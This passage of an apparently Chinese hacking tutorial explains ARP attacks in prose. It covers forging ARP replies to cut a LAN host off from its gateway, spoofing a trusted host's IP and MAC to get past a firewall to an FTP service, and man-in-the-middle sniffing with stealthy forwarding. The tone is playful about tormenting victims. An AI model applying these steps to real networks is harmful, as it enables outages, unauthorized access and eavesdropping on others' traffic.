								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 77.4pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" width="103">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">发送方<span lang="EN">IP<o:p></o:p></span></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 47.55pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" width="63">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">4<o:p></o:p></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 301.15pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" width="402">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<b style="mso-bidi-font-weight: normal">
														<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
																<span style="mso-spacerun: yes"> </span>
														</span>
												</b>
												<b style="mso-bidi-font-weight: normal">
														<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">网关<span lang="EN">IP 192.168.0.1<o:p></o:p></span></span>
												</b>
										</p>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 18pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">接收方就填</span>
				<span lang="EN" style="FONT-SIZE: 9pt">192.168.0.77</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的相关信息，发送之后，它还能上网不？</span>
				<span style="FONT-SIZE: 9pt">
						<span lang="EN">
								<o:p>
								</o:p>
						</span>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 18pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这样能折腾他好一阵子了，只要它的系统得不到正确的到网关的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">映射表它就一直上不了网了</span>
				<span style="FONT-SIZE: 9pt">
						<span lang="EN">^_^<o:p></o:p></span>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN" style="FONT-SIZE: 9pt">
						<span style="mso-spacerun: yes">          </span>
				</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">呵呵类似的伎俩还有很多，不过只停留在这点东西上也没什么意思，还是看看稍微高深一点的吧</span>
				<span lang="EN" style="FONT-SIZE: 9pt">^_^</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span> </p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt">
				<font color="#dd22dd">
						<span lang="EN" style="FONT-SIZE: 9pt; mso-fareast-font-family: 'Times New Roman'">
								<span style="mso-list: Ignore">       2.<span style="FONT: 7pt 'Times New Roman'">        </span></span>
						</span>
						<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">欺骗</span>
				</font>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 18pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">因为在以太网里，网络设备就是靠</span>
				<span lang="EN" style="FONT-SIZE: 9pt">MAC</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">信息来识别的计算机的，比如</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">电脑知道</span>
				<span lang="EN" style="FONT-SIZE: 9pt">MAC</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">地址为</span>
				<span lang="EN" style="FONT-SIZE: 9pt">22-22-22-22-22-22</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的电脑是</span>
				<span lang="EN" style="FONT-SIZE: 9pt">B</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，而如果我给</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发送一个</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">响应包，告诉它我的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">MAC</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是</span>
				<span lang="EN" style="FONT-SIZE: 9pt">22-22-22-22-22-22</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的话，</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">同样会认为我的计算机是</span>
				<span lang="EN" style="FONT-SIZE: 9pt">B</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">了，那么好，我们设想有这么一个环境，</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 18pt">
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的防火墙只对</span>
				<span lang="EN" style="FONT-SIZE: 9pt">IP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为</span>
				<span lang="EN" style="FONT-SIZE: 9pt">192.168.0.2 MAC</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为</span>
				<span lang="EN" style="FONT-SIZE: 9pt"> 22-22-22-22-22-22</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">B</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">有信任关系，而且</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">打开了</span>
				<span lang="EN" style="FONT-SIZE: 9pt">21</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">端口提供</span>
				<span lang="EN" style="FONT-SIZE: 9pt">FTP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务，正常情况下因为防火墙的缘故我们的计算机是连不到</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的，</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 18pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">于是我们想办法让</span>
				<span lang="EN" style="FONT-SIZE: 9pt">B down</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">掉，或者在它关机的时候，我们把我们的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">IP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">改成</span>
				<span lang="EN" style="FONT-SIZE: 9pt">B</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">192.168.0.2</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，然后给</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发送一个</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">回应包，告诉</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">更新一下</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">缓存列表，</span>
				<span lang="EN" style="FONT-SIZE: 9pt">192.168.0.2</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">IP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">映射到我们的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<br />MAC</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">地址上来，于是，奇迹出现了，我们可以连到</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">FTP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上了，防火墙失效了</span>
				<span lang="EN" style="FONT-SIZE: 9pt">^_^<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: 18pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">不过这个办法只能在同网段内生效，如果我们和</span>
				<span lang="EN" style="FONT-SIZE: 9pt">A</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">不在一个网段内，那就要复杂的多了，还要配合</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ICMP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的重定向来控制报文的路由，这个我准备在以后阐述</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ICMP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包的时候详细讲解，就不再此多说了。</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt">
				<span lang="EN" style="FONT-SIZE: 9pt; mso-fareast-font-family: 'Times New Roman'">
						<span style="mso-list: Ignore">   <font color="#d52bd5"> 3.<span style="FONT: 7pt 'Times New Roman'">        </span></font></span>
				</span>
				<font color="#d52bd5">
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">基于</span>
						<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">欺骗的监听原理</span>
				</font>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-INDENT: 22.5pt; mso-char-indent-count: 2.5; mso-para-margin-left: 1.71gd">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">监听的技术有很多了，不过我们常用的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">sniffer</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">工具只能在基于</span>
				<span lang="EN" style="FONT-SIZE: 9pt">hub</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的网络中起作用，碰到哪怕是交换机都无能为力了，这个时候我们的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">欺骗技术就派上用场了。</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-INDENT: 22.5pt; mso-char-indent-count: 2.5; mso-para-margin-left: 1.71gd">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">还是<span style="COLOR: black">假设有三台主机</span></span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A,B,</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">还有我们的主机，位于同一个交换式局域网中</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-INDENT: 22.5pt; mso-char-indent-count: 2.5; mso-para-margin-left: 1.71gd">
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">与</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">正在通信，如果我们想要刺探</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">――</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">&gt;B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通信的内容，于是我们就可以给</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发送一个伪造的</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">ARP</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">回应包，告诉</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">IP</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">对应的</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">MAC</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">条目为我们的</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">MAC</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">地址，于是，</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">也就会相应的刷新自己的</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">ARP</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">缓存，将发给</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的数据，源源不断的发送到我们的主机上来，这样我就可以对接收到的数据包进行分析就好了，达到了监听的目的。当然，因为动态</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">ARP</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">缓存是动态的，有超时时间的，所以我们必须每隔一段时间就给</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发送一个</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">ARP</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">回应包</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-INDENT: 22.5pt; mso-char-indent-count: 2.5; mso-para-margin-left: 1.71gd">
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">虽然我们这样达到了目的，但是</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">到</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的通信却被停止了，为了不让</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发现，我们还要对每次接收到的数据包进行转发，全部都转发给</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，这样就天衣无缝了</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">^_^<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-INDENT: 22.5pt; mso-char-indent-count: 2.5; mso-para-margin-left: 1.71gd">
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">同样的，如果我们还想监听</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B </span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings">
						<span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</span>
				</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black"> A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的数据包，一样给</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发一个</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">ARP</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">回应包，告诉</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">IP</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">对应的</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">MAC</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是我们的主机</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">MAC</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，于是</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">到</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的数据包也源源不断的发到我们的主机上来了，当然我们也是一样要对这些数据包进行转发，如图：</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-INDENT: 22.5pt; mso-char-indent-count: 2.5; mso-para-margin-left: 1.71gd">
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A<span style="mso-spacerun: yes">  &lt;------&gt;  </span></span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">
						<span style="mso-spacerun: yes"> </span>
				</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">我们的主机</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">
						<span style="mso-spacerun: yes">   </span>&lt;------&gt;  </span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black"> B<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-INDENT: 22.5pt; mso-char-indent-count: 2.5; mso-para-margin-left: 1.71gd">
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">一切都无误的话，</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">A</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">B</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的通信内容就这样不知不觉的被我们监听到了</span>
